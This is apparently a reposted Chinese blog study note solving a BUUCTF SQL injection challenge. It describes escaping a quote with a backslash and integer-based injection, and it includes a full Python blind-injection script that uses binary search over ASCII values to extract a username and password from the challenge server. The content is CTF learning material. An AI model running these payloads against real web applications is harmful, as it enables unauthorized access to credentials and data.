【学习笔记 43】 buu [BJDCTF 2nd]简单注入

0x00 知识点

  1. \转义单引号
  2. 整型注入
  3. 二分法脚本

0x01 解题思路

  1. 打开网站一看,在这里插入图片描述
    再尝试在用户名和密码处尝试进行注入,发现‘,“都会报错,之后用御剑一扫,发现hint.txt文件。访问一下看看

在这里插入图片描述提示说之后正确的用户和密码才能登上去,得到flag。之后给出了传参方式和mysql命令语句。

这时候很明显username处注入\来转义单引号,password处使用sql语句整数型注入。

举个例子:
a. 传入admin\ 和 or/**/length(database())>0#会回显stronger字样

b. 传入admin\ 和 or/**/length(database())<0#会回显girl friend字样
那我们就可以直接利用二分法脚本来跑结果
拿一个从大佬哪里借来的脚本,我太菜写不出来

import requests
url = "http://9c61c6e0-96b4-4a8d-8f33-e173951a8b05.node3.buuoj.cn/index.php"

data = {"username":"admin\\","password":""}
result = ""
i = 0

while( True ):
	i = i + 1 
	head=32
	tail=127

	while( head < tail ):
		mid = (head + tail) >> 1

		#payload = "or/**/if(ascii(substr(username,%d,1))>%d,1,0)#"%(i,mid)
		payload = "or/**/if(ascii(substr(password,%d,1))>%d,1,0)#"%(i,mid)
		
		data['password'] = payload
		r = requests.post(url,data=data)

		if "stronger" in r.text :
			head = mid + 1
		else:
			tail = mid
	
	last = result
	
	if head!=32:
		result += chr(head)
	else:
		break
	print(result)

切换一下上边的payload就能跑出来用户和密码
分别是adminOhyOuFOuNdit在这里插入图片描述之后在登录一下直接得到flag在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/weixin_43553654/article/details/107751377